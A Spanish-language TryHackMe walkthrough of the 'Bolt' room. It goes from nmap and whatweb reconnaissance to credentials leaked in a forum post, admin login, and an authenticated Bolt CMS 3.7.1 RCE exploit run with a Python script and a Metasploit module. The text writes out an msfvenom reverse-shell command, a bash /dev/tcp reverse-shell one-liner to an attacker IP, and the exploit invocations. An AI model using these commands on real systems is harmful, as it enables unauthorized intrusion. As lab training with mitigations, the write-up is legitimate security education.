Bolt - TryHackMe
xhetic
@xhetic
📚 Esta publicación pertenece a la colección:
Bolt - TryHackMe Walkthrough
Bienvenido a mi writeup de la máquina Bolt de TryHackMe. Una room muy educativa donde la vulnerabilidad principal no está en la arquitectura, sino en el factor humano: un admin que filtra sus credenciales por descuido.
Room: Bolt
Dificultad: Easy
OS: Linux
Objetivo: Obtener acceso al sistema como usuario root
🎯 Información del Objetivo
IP Target: 10.114.177.211
🔍 Fase 1: Reconocimiento (RECON)
Comprobación de Conectividad
Empiezo verificando que la máquina está activa:
ping -c1 10.114.177.211-c1→ Envía solo 1 paquete ICMP y para
64 bytes from 10.114.177.211: icmp_seq=1 ttl=62 time=46.6 ms
Recibo respuesta. El TTL es 62, lo que indica que posiblemente estamos ante una máquina Linux (TTL nativo 64, decrementado por el salto de red).
💡 Referencia rápida de TTL:
- TTL ≈ 64 → Linux/Unix
- TTL ≈ 128 → Windows
Escaneo de Puertos
Hago un primer escaneo rápido para descubrir los puertos abiertos:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.114.177.211-p-→ Escanea todos los 65535 puertos--open→ Muestra solo puertos abiertos-sS→ SYN scan (half-open)--min-rate 5000→ Mínimo 5000 paquetes por segundo-vvv→ Máxima verbosidad-n→ Sin resolución DNS-Pn→ Sin ping previo
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 62 80/tcp open http syn-ack ttl 62 8000/tcp open http-alt syn-ack ttl 62
Tengo tres puertos abiertos: SSH (22), HTTP (80) y otro servicio web alternativo (8000).
Con los puertos identificados, lanzo un escaneo de versiones en esos puertos:
nmap -p22,80,8000 -sCV 10.114.177.211-sC→ Scripts NSE por defecto-sV→ Detección de versiones de los servicios

Los resultados más relevantes:
- Puerto 22: OpenSSH 7.6p1 (Ubuntu Linux)
- Puerto 80: Apache httpd 2.4.29 — página por defecto
- Puerto 8000: HTTP con PHP 7.2.32 — posiblemente una aplicación web
📁 Fase 2: Enumeración
Investigación del Puerto 80
Accedo al puerto 80 para ver qué hay:

Solo veo la página de configuración por defecto de Apache. Nada útil aquí.
Investigación del Puerto 8000
Accedo al puerto 8000:

Veo un blog/foro con el título "A hero is unleashed" — tiene buena pinta.
Para identificar qué CMS es, ejecuto whatweb:
whatweb http://10.114.177.211:8000Recolecta información técnica sobre el servidor web
http://10.114.177.211:8000 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.114.177.211], MetaGenerator[Bolt], PHP[7.2.32-1+ubuntu18.04.1+deb.sury.org+1], Script, Title[Bolt | A hero is unleashed], UncommonHeaders[x-debug-token], X-Powered-By[PHP/7.2.32-1+ubuntu18.04.1+deb.sury.org+1]
Perfecto. Bolt CMS con PHP 7.2.32 en Ubuntu 18.04.
Búsqueda de Credenciales en el Foro
Navegando por el foro, encuentro dos posts del usuario Jake (Admin). El primer post dice:
"Hello Everyone,
Welcome to this site, myself Jake and my username is bolt. I am still new to this CMS so it can take awhile for me to get used to this CMS but believe me i have some great content coming up for you all!
Regards,
Jake (Admin)"
Anoto: usuario = bolt
En otro post, Jake escribe algo que pensaba que era privado pero fue publicado:

"Hey guys,
i suppose this is our secret forum right? I posted my first message for our readers today but there seems to be a lot of freespace out there. Please check it out! my password is boltadmin123 just incase you need it!
Regards,
Jake (Admin)"
Perfecto. Tengo:
- Usuario: bolt
- Contraseña: boltadmin123
🚀 Fase 3: Explotación
Acceso al Backend de Bolt CMS
Busco dónde está el login de Bolt CMS. Generalmente es en /bolt o /bolt/login. Intento acceder a http://10.114.177.211:8000/bolt:
Se redirecciona a http://10.114.177.211:8000/bolt/login. Introduzco las credenciales obtenidas (usuario: bolt, contraseña: boltadmin123).
Acceso obtenido al backend del Bolt CMS 3.7.1.
Intento de Subida de Shell PHP
Dentro del backend, busco una forma de ejecutar comandos. El CMS tiene un apartado de "File Management" donde puedo subir archivos. Creo una reverse shell:
msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.139.157 LPORT=4444 -f raw -o shell.phpGenero una reverse shell en PHP
Intento subirla al repositorio de archivos, pero el sistema valida y rechaza la extensión:
File 'shell.php' could not be uploaded (wrong/disallowed file type). Make sure the file extension is one of the following:.twig .html .js .css .scss .gif .jpg .jpeg .png .ico .zip .tgz .txt .md .doc .docx .pdf .epub .xls .xlsx .ppt .pptx .mp3 .ogg .wav .m4a .mp4 .m4v .ogv .wmv .avi .webm .svg
La validación es bastante estricta. .php no está permitido.
Búsqueda de Exploit
Realizo investigación y encuentro que existe un exploit público específico para Bolt CMS 3.7.1 que permite RCE autenticado. Descargo el script Python desde el repositorio:
git clone https://github.com/musyoka101/Bolt-CMS-version-3.7.1-RCE-Exploit.gitEjecuto el exploit con las credenciales que tengo:
python3 bolt.py http://10.114.177.211:8000 bolt boltadmin123Exploit de RCE para Bolt CMS 3.7.1, requiere credenciales válidas
El script ejecuta y obtengo una terminal interactiva donde puedo lanzar comandos como root. Sin escalada de privilegios necesaria:

Obtención de Reverse Shell
Para obtener una sesión más interactiva, el script me pregunta por un LHOST y LPORT para enviarme una reverse shell:
nc -nlvp 4444Me pongo en escucha en mi máquina
Desde el script, ejecuto:
/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.139.157/4444 0>&1'Comando para obtener reverse shell
En cuestión de segundos recibo la conexión en mi listener. El script detecta que ya tenemos la reverse shell y se detiene.

Tratamiento de TTY
La shell inicial no es completamente interactiva. Realizo el tratamiento de TTY estándar:
script /dev/null -c bash
# (Ctrl+Z)
stty raw -echo; fg
reset xterm
export TERM=xtermYa tengo una terminal funcional como usuario root.
🚩 Flag
Busco el archivo con la flag:
cat /home/flag.txt🚩 Flag capturada!
📌 Nota: Alternativa con Metasploit
Tras completar la room, descubro que TryHackMe sugería usar Metasploit como alternativa. Decido probar también este camino para verificar que ambos exploits funcionan de manera similar.
Configuro el módulo de Metasploit específico para Bolt CMS:
use exploit/unix/webapp/bolt_authenticated_rce
set LHOST 192.168.139.157
set LPORT 4444
set RHOSTS 10.114.177.211
set USERNAME bolt
set PASSWORD boltadmin123
runMódulo de Metasploit para Bolt CMS 3.7.1 RCE autenticado

El módulo funciona de forma muy similar al script Python. Obtengo una shell como root de forma inmediata. Ambos exploits logran el mismo objetivo a través de la misma vulnerabilidad.
📊 Resumen
Cadena de Ataque
Nmap → Identificación Bolt CMS → Information Leak (Foro Público) → Credenciales Admin (bolt:boltadmin123) → Intento fallido subida PHP → Exploit Python RCE → Reverse Shell → TTY Treatment → Flag
Puntos clave:
- El factor humano fue la vulnerabilidad inicial (credenciales expuestas en post público)
- La validación de archivo upload bloqueó el primer vector de ataque
- El exploit Python permitió RCE directo aprovechando una vulnerabilidad autenticada de Bolt CMS
Herramientas Utilizadas
- nmap — Reconocimiento de puertos y servicios
- whatweb — Identificación de tecnologías web
- Exploit Python — Script de RCE para Bolt CMS 3.7.1
- Metasploit — Framework alternativo (módulo bolt_authenticated_rce)
🛡️ Vulnerabilidades y Mitigaciones
| Vulnerabilidad | Severidad | Mitigación |
|---|---|---|
| Información Leak en post público | ALTA | Implementar controles en la visibilidad de los posts públicos; educar a los usuarios sobre no publicar credenciales |
| Bolt CMS 3.7.1 — RCE autenticado | CRÍTICA | Actualizar a una versión más reciente con parches de seguridad |
📚 Referencias
🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.
Happy Hacking! 🎩🔐
Sigueme en TryHackMe :
Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.